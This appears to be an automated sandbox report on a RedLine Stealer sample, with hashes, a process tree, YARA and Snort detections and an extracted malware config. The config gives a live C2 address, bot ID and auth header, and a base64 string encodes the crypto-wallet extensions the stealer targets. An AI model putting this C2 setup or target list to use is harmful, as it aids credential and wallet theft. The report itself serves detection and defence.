Edit tour

Windows Analysis Report
XGN98Zq3JB.exe

Overview

General Information

Sample Name:	XGN98Zq3JB.exe
Analysis ID:	669770
MD5:	0868c8b2657d243fa7b9657f1906f001
SHA1:	275682e65f6d55cd160b95d52132fa7a56191215
SHA256:	26b026ec1b7075e871d3935fa044dcd51304d261c9f57d9d0c40ae716a0c2c63
Tags:	exeRedLineStealer
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Writes to foreign memory regions

Tries to steal Crypto Currency Wallets

Injects a PE file into a foreign processes

Yara detected Generic Downloader

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Found many strings related to Crypto-Wallets (likely being stolen)

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Yara detected Credential Stealer

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

Drops PE files

Detected TCP or UDP traffic on non-standard ports

PE / OLE file has an invalid certificate

PE file contains more sections than normal

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

XGN98Zq3JB.exe (PID: 6848 cmdline: "C:\Users\user\Desktop\XGN98Zq3JB.exe" MD5: 0868C8B2657D243FA7B9657F1906F001)

conhost.exe (PID: 6864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

AppLaunch.exe (PID: 208228 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe MD5: 6807F903AC06FF7E1670181378690B22)

fl.exe (PID: 7448 cmdline: "C:\Users\user\AppData\Local\Temp\fl.exe" MD5: C3F4D625AC5428F07BB4CAB0D4D1758D)

conhost.exe (PID: 7456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: RedLine

{"C2 url": "193.233.177.223:31622", "Bot Id": "@Donapol", "Authorization Header": "41860e3e7e9cf88795e23330a9494175"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.481770993.00000000004B8000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000003.475229939.00000000001C2000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000002.623914093.0000000000392000.00000020.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: XGN98Zq3JB.exe PID: 6848	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: AppLaunch.exe PID: 208228	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: AppLaunch.exe PID: 208228	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.AppLaunch.exe.390000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2.2.AppLaunch.exe.390000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.2.AppLaunch.exe.390000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x19c94:$pat14: , CommandLine: 0x12cd0:$v2_1: ListOfProcesses 0x12a8a:$v4_3: base64str 0x136cb:$v4_4: stringKey 0x1123f:$v4_5: BytesToStringConverted 0x1033a:$v4_6: FromBase64 0x117b2:$v4_8: procName 0x11ac8:$v5_1: DownloadAndExecuteUpdate 0x12961:$v5_2: ITaskProcessor 0x11ab6:$v5_3: CommandLineUpdate 0x11aa7:$v5_4: DownloadUpdate 0x11ea8:$v5_5: FileScanning 0x11460:$v5_7: RecordHeaderField 0x110c8:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
0.2.XGN98Zq3JB.exe.4b8da0.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.XGN98Zq3JB.exe.4b8da0.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x18094:$pat14: , CommandLine: 0x110d0:$v2_1: ListOfProcesses 0x10e8a:$v4_3: base64str 0x11acb:$v4_4: stringKey 0xf63f:$v4_5: BytesToStringConverted 0xe73a:$v4_6: FromBase64 0xfbb2:$v4_8: procName 0xfec8:$v5_1: DownloadAndExecuteUpdate 0x10d61:$v5_2: ITaskProcessor 0xfeb6:$v5_3: CommandLineUpdate 0xfea7:$v5_4: DownloadUpdate 0x102a8:$v5_5: FileScanning 0xf860:$v5_7: RecordHeaderField 0xf4c8:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
0.2.XGN98Zq3JB.exe.4b8da0.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.XGN98Zq3JB.exe.4b8da0.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.XGN98Zq3JB.exe.4b8da0.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x19c94:$pat14: , CommandLine: 0x12cd0:$v2_1: ListOfProcesses 0x12a8a:$v4_3: base64str 0x136cb:$v4_4: stringKey 0x1123f:$v4_5: BytesToStringConverted 0x1033a:$v4_6: FromBase64 0x117b2:$v4_8: procName 0x11ac8:$v5_1: DownloadAndExecuteUpdate 0x12961:$v5_2: ITaskProcessor 0x11ab6:$v5_3: CommandLineUpdate 0x11aa7:$v5_4: DownloadUpdate 0x11ea8:$v5_5: FileScanning 0x11460:$v5_7: RecordHeaderField 0x110c8:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
0.3.XGN98Zq3JB.exe.1c0000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.3.XGN98Zq3JB.exe.1c0000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.3.XGN98Zq3JB.exe.1c0000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x19c94:$pat14: , CommandLine: 0x12cd0:$v2_1: ListOfProcesses 0x12a8a:$v4_3: base64str 0x136cb:$v4_4: stringKey 0x1123f:$v4_5: BytesToStringConverted 0x1033a:$v4_6: FromBase64 0x117b2:$v4_8: procName 0x11ac8:$v5_1: DownloadAndExecuteUpdate 0x12961:$v5_2: ITaskProcessor 0x11ab6:$v5_3: CommandLineUpdate 0x11aa7:$v5_4: DownloadUpdate 0x11ea8:$v5_5: FileScanning 0x11460:$v5_7: RecordHeaderField 0x110c8:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
0.2.XGN98Zq3JB.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.XGN98Zq3JB.exe.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0xd1034:$pat14: , CommandLine: 0xca070:$v2_1: ListOfProcesses 0xc9e2a:$v4_3: base64str 0xcaa6b:$v4_4: stringKey 0xc85df:$v4_5: BytesToStringConverted 0xc76da:$v4_6: FromBase64 0xc8b52:$v4_8: procName 0xc8e68:$v5_1: DownloadAndExecuteUpdate 0xc9d01:$v5_2: ITaskProcessor 0xc8e56:$v5_3: CommandLineUpdate 0xc8e47:$v5_4: DownloadUpdate 0xc9248:$v5_5: FileScanning 0xc8800:$v5_7: RecordHeaderField 0xc8468:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
Click to see the 8 entries

Snort Signatures

ETPRO TROJAN Redline Stealer TCP CnC Activity - Source IP: 192.168.2.5 - Destination IP: 193.233.177.223

Timestamp:	192.168.2.5193.233.177.22349805316222850286 07/20/22-10:33:02.875485
SID:	2850286
Source Port:	49805
Destination Port:	31622
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Redline Stealer TCP CnC - Id1Response - Source IP: 193.233.177.223 - Destination IP: 192.168.2.5

Timestamp:	193.233.177.223192.168.2.531622498052850353 07/20/22-10:32:22.534892
SID:	2850353
Source Port:	31622
Destination Port:	49805
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN RedLine Stealer TCP CnC net.tcp Init - Source IP: 192.168.2.5 - Destination IP: 193.233.177.223

Timestamp:	192.168.2.5193.233.177.22349805316222850027 07/20/22-10:32:20.636277
SID:	2850027
Source Port:	49805
Destination Port:	31622
Protocol:	TCP
Classtype:	A Network Trojan was detected

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\XGN98Zq3JB.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\XGN98Zq3JB.exe "C:\Users\user\Desktop\XGN98Zq3JB.exe"
Source: C:\Users\user\Desktop\XGN98Zq3JB.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\XGN98Zq3JB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process created: C:\Users\user\AppData\Local\Temp\fl.exe "C:\Users\user\AppData\Local\Temp\fl.exe"
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\XGN98Zq3JB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process created: C:\Users\user\AppData\Local\Temp\fl.exe "C:\Users\user\AppData\Local\Temp\fl.exe"	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

File created: C:\Users\user\AppData\Local\Temp\fl.exe

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@3/3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: 0.3.XGN98Zq3JB.exe.1c0000.0.unpack, BrEx.cs	Base64 encoded string: 'ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8WW9yb2lXYWxsZXQKaWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8VHJvbmxpbmsKamJkYW9jbmVpaWlubWpiamxnYWxoY2VsZ2Jlam1uaWR8TmlmdHlXYWxsZXQKbmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58TWV0YW1hc2sKYWZiY2JqcGJwZmFkbGttaG1jbGhrZWVvZG1hbWNmbGN8TWF0aFdhbGxldApobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHxDb2luYmFzZQpmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHxCaW5hbmNlQ2hhaW4Kb2RiZnBlZWloZGtiaWhtb3BrYmptb29uZmFubGJmY2x8QnJhdmVXYWxsZXQKaHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58R3VhcmRhV2FsbGV0CmJsbmllaWlmZmJvaWxsa25qbmVwb2dqaGtnbm9hcGFjfEVxdWFsV2FsbGV0CmNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfEpheHh4TGliZXJ0eQpmaWhrYWtmb2JrbWtqb2pwY2hwZmdjbWhmam5tbmZwaXxCaXRBcHBXYWxsZXQKa25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8aVdhbGxldAphbWttamptbWZsZGRvZ21ocGpsb2ltaXBib2ZuZmppaHxXb21iYXQKZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8QXRvbWljV2FsbGV0Cm5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfE1ld0N4Cm5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfEd1aWxkV2FsbGV0Cm5rZGRnbmNkamdqZmNkZGFtZmdjbWZubGhjY25pbWlnfFNhdHVybldhbGxldApmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3xSb25pbldhbGxldAphaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHxUZXJyYVN0YXRpb24KZm5uZWdwaGxvYmpkcGtoZWNhcGtpampka2djamhraWJ8SGFybW9ueVdhbGxldAphZWFjaGtubWVmcGhlcGNjaW9uYm9vaGNrb25vZWVtZ3xDb2luOThXYWxsZXQKY2dlZW9kcGZhZ2pjZWVmaWVmbG1kZnBocGxrZW5sZmt8VG9uQ3J5c3RhbApwZGFkamtma2djYWZnYmNlaW1jcGJrYWxuZm5lcGJua3xLYXJkaWFDaGFpbgpiZm5hZWxtb21laW1obHBtZ2puam9waGhwa2tvbGpwYXxQaGFudG9tCmZoaWxhaGVpbWdsaWduZGRramdvZmtjYmdla2hlbmJofE94eWdlbgptZ2Zma2ZiaWRpaGpwb2FvbWFqbGJnY2hkZGxpY2dwbnxQYWxpV2FsbGV0CmFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfEJvbHRYCmtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufExpcXVhbGl0eVdhbGxldApobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJvaWVhZnxYZGVmaVdhbGxldApscGZjYmprbmlqcGVlaWxsaWZua2lrZ25jaWtnZmhkb3xOYW1pV2FsbGV0CmRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfE1haWFyRGVGaVdhbGxldApmZm5iZWxmZG9laW9oZW5ramlibm1hZGppZWhqaGFqYnxZb3JvaVdhbGxldAppYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3xUcm9ubGluawpqYmRhb2NuZWlpaW5tamJqbGdhbGhjZWxnYmVqbW5pZHxOaWZ0eVdhbGxldApua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnxNZXRhbWFzawphZmJjYmpwYnBmYWRsa21obWNsaGtlZW9kbWFtY2ZsY3xNYXRoV2FsbGV0CmhuZmFua25vY2Zlb2ZiZGRnY2lqbm1obmZua2RuYWFkfENvaW5iYXNlCmZoYm9oaW1hZWxib2hwamJibGRjbmdjbmFwbmRvZGpwfEJpbmFuY2VDaGFpbgpvZGJmcGVlaWhka2JpaG1vcGtiam1vb25mYW5sYmZjbHxCcmF2ZVdhbGxldApocGdsZmhnZm5oYmdwamRlbmpnbWRnb2VpYXBwYWZsbnxHdWFyZGFXYWxsZXQKYmxuaWVpaWZmYm9pbGxrbmpuZXBvZ2poa2dub2FwYWN8RXF1YWxXYWxsZXQKY2plbGZwbHBsZWJkamplbmxscGpjYmxtamtmY2ZmbmV8SmF4eHhMaWJlcnR5CmZpaGtha2ZvYmtta2pvanBjaHBmZ2NtaGZqbm1uZnBpfEJpdEFwcFdhbGxldAprbmNjaGRpZ29iZ2hlbmJiYWRkb2pqbm5hb2dmcHBmanxpV2FsbGV0CmFta21qam1tZmxkZG9nbWhwamxvaW1pcGJvZm5mamlofFdvbWJhdApmaGlsYWhlaW1nbGlnbmRka2pnb2ZrY2JnZWtoZW5iaHxBdG9taWNXYWxsZXQKbmxibW5uaWpjbmxlZ2tqanBjZmpjbG1jZmdnZmVmZG18TWV3Q3gKbmFuam1ka25oa2luaWZua2dkY2dnY2ZuaGRhYW1tbWp8R3VpbGRXYWxsZXQKbmtkZGduY2RqZ2pmY2RkYW1mZ2NtZm5saGNjbmltaWd8U2F0dXJuV2FsbGV0CmZuamhta2hobWtiamtrYWJuZGNubm9nYWdvZ2JuZWVjfFJvbmluV2FsbGV
Source: 2.2.AppLaunch.exe.390000.0.unpack, BrEx.cs	Base64 encoded string: 'ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8WW9yb2lXYWxsZXQKaWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8VHJvbmxpbmsKamJkYW9jbmVpaWlubWpiamxnYWxoY2VsZ2Jlam1uaWR8TmlmdHlXYWxsZXQKbmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58TWV0YW1hc2sKYWZiY2JqcGJwZmFkbGttaG1jbGhrZWVvZG1hbWNmbGN8TWF0aFdhbGxldApobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHxDb2luYmFzZQpmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHxCaW5hbmNlQ2hhaW4Kb2RiZnBlZWloZGtiaWhtb3BrYmptb29uZmFubGJmY2x8QnJhdmVXYWxsZXQKaHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58R3VhcmRhV2FsbGV0CmJsbmllaWlmZmJvaWxsa25qbmVwb2dqaGtnbm9hcGFjfEVxdWFsV2FsbGV0CmNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfEpheHh4TGliZXJ0eQpmaWhrYWtmb2JrbWtqb2pwY2hwZmdjbWhmam5tbmZwaXxCaXRBcHBXYWxsZXQKa25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8aVdhbGxldAphbWttamptbWZsZGRvZ21ocGpsb2ltaXBib2ZuZmppaHxXb21iYXQKZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8QXRvbWljV2FsbGV0Cm5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfE1ld0N4Cm5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfEd1aWxkV2FsbGV0Cm5rZGRnbmNkamdqZmNkZGFtZmdjbWZubGhjY25pbWlnfFNhdHVybldhbGxldApmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3xSb25pbldhbGxldAphaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHxUZXJyYVN0YXRpb24KZm5uZWdwaGxvYmpkcGtoZWNhcGtpampka2djamhraWJ8SGFybW9ueVdhbGxldAphZWFjaGtubWVmcGhlcGNjaW9uYm9vaGNrb25vZWVtZ3xDb2luOThXYWxsZXQKY2dlZW9kcGZhZ2pjZWVmaWVmbG1kZnBocGxrZW5sZmt8VG9uQ3J5c3RhbApwZGFkamtma2djYWZnYmNlaW1jcGJrYWxuZm5lcGJua3xLYXJkaWFDaGFpbgpiZm5hZWxtb21laW1obHBtZ2puam9waGhwa2tvbGpwYXxQaGFudG9tCmZoaWxhaGVpbWdsaWduZGRramdvZmtjYmdla2hlbmJofE94eWdlbgptZ2Zma2ZiaWRpaGpwb2FvbWFqbGJnY2hkZGxpY2dwbnxQYWxpV2FsbGV0CmFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfEJvbHRYCmtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufExpcXVhbGl0eVdhbGxldApobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJvaWVhZnxYZGVmaVdhbGxldApscGZjYmprbmlqcGVlaWxsaWZua2lrZ25jaWtnZmhkb3xOYW1pV2FsbGV0CmRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfE1haWFyRGVGaVdhbGxldApmZm5iZWxmZG9laW9oZW5ramlibm1hZGppZWhqaGFqYnxZb3JvaVdhbGxldAppYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3xUcm9ubGluawpqYmRhb2NuZWlpaW5tamJqbGdhbGhjZWxnYmVqbW5pZHxOaWZ0eVdhbGxldApua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnxNZXRhbWFzawphZmJjYmpwYnBmYWRsa21obWNsaGtlZW9kbWFtY2ZsY3xNYXRoV2FsbGV0CmhuZmFua25vY2Zlb2ZiZGRnY2lqbm1obmZua2RuYWFkfENvaW5iYXNlCmZoYm9oaW1hZWxib2hwamJibGRjbmdjbmFwbmRvZGpwfEJpbmFuY2VDaGFpbgpvZGJmcGVlaWhka2JpaG1vcGtiam1vb25mYW5sYmZjbHxCcmF2ZVdhbGxldApocGdsZmhnZm5oYmdwamRlbmpnbWRnb2VpYXBwYWZsbnxHdWFyZGFXYWxsZXQKYmxuaWVpaWZmYm9pbGxrbmpuZXBvZ2poa2dub2FwYWN8RXF1YWxXYWxsZXQKY2plbGZwbHBsZWJkamplbmxscGpjYmxtamtmY2ZmbmV8SmF4eHhMaWJlcnR5CmZpaGtha2ZvYmtta2pvanBjaHBmZ2NtaGZqbm1uZnBpfEJpdEFwcFdhbGxldAprbmNjaGRpZ29iZ2hlbmJiYWRkb2pqbm5hb2dmcHBmanxpV2FsbGV0CmFta21qam1tZmxkZG9nbWhwamxvaW1pcGJvZm5mamlofFdvbWJhdApmaGlsYWhlaW1nbGlnbmRka2pnb2ZrY2JnZWtoZW5iaHxBdG9taWNXYWxsZXQKbmxibW5uaWpjbmxlZ2tqanBjZmpjbG1jZmdnZmVmZG18TWV3Q3gKbmFuam1ka25oa2luaWZua2dkY2dnY2ZuaGRhYW1tbWp8R3VpbGRXYWxsZXQKbmtkZGduY2RqZ2pmY2RkYW1mZ2NtZm5saGNjbmltaWd8U2F0dXJuV2FsbGV0CmZuamhta2hobWtiamtrYWJuZGNubm9nYWdvZ2JuZWVjfFJvbmluV2FsbGV

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7456:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6864:120:WilError_01

Source: fl.exe	String found in binary or memory: -stop
Source: XGN98Zq3JB.exe	String found in binary or memory: -stop

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: XGN98Zq3JB.exe

Static file information: File size 2583583 > 1048576

Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 13_2_00435E2A push eax; mov dword ptr [esp], ebx	13_2_004AE0DA
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 13_2_00435E2A push eax; mov dword ptr [esp], ebx	13_2_004AE0DA
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 13_2_0047D100 push edx; mov dword ptr [esp], ebx	13_2_0047D35F
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 13_2_0047D100 push eax; mov dword ptr [esp], ebx	13_2_0047D379
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 13_2_0042325A push ebp; retn 0000h	13_2_00423268
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 13_2_00497760 push eax; mov dword ptr [esp], esi	13_2_004AD2FD
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 13_2_0043076E push eax; mov dword ptr [esp], esi	13_2_004AD2FD
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 13_2_00426E5E push ecx; iretd	13_2_00426E64

Source: XGN98Zq3JB.exe	Static PE information: section name: /4
Source: XGN98Zq3JB.exe	Static PE information: section name: /14
Source: XGN98Zq3JB.exe	Static PE information: section name: /29
Source: XGN98Zq3JB.exe	Static PE information: section name: /41
Source: XGN98Zq3JB.exe	Static PE information: section name: /55
Source: XGN98Zq3JB.exe	Static PE information: section name: /67
Source: XGN98Zq3JB.exe	Static PE information: section name: /80
Source: XGN98Zq3JB.exe	Static PE information: section name: /91
Source: XGN98Zq3JB.exe	Static PE information: section name: /102
Source: fl.exe.2.dr	Static PE information: section name: /4
Source: fl.exe.2.dr	Static PE information: section name: /14
Source: fl.exe.2.dr	Static PE information: section name: /29
Source: fl.exe.2.dr	Static PE information: section name: /41
Source: fl.exe.2.dr	Static PE information: section name: /55
Source: fl.exe.2.dr	Static PE information: section name: /67
Source: fl.exe.2.dr	Static PE information: section name: /80
Source: fl.exe.2.dr	Static PE information: section name: /91
Source: fl.exe.2.dr	Static PE information: section name: /102

Source: C:\Users\user\AppData\Local\Temp\fl.exe

Code function: 13_2_004014E0 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,

13_2_004014E0

Source: fl.exe.2.dr	Static PE information: real checksum: 0x361602 should be: 0x368e99
Source: XGN98Zq3JB.exe	Static PE information: real checksum: 0x278c24 should be: 0x27b4ad

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

File created: C:\Users\user\AppData\Local\Temp\fl.exe

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
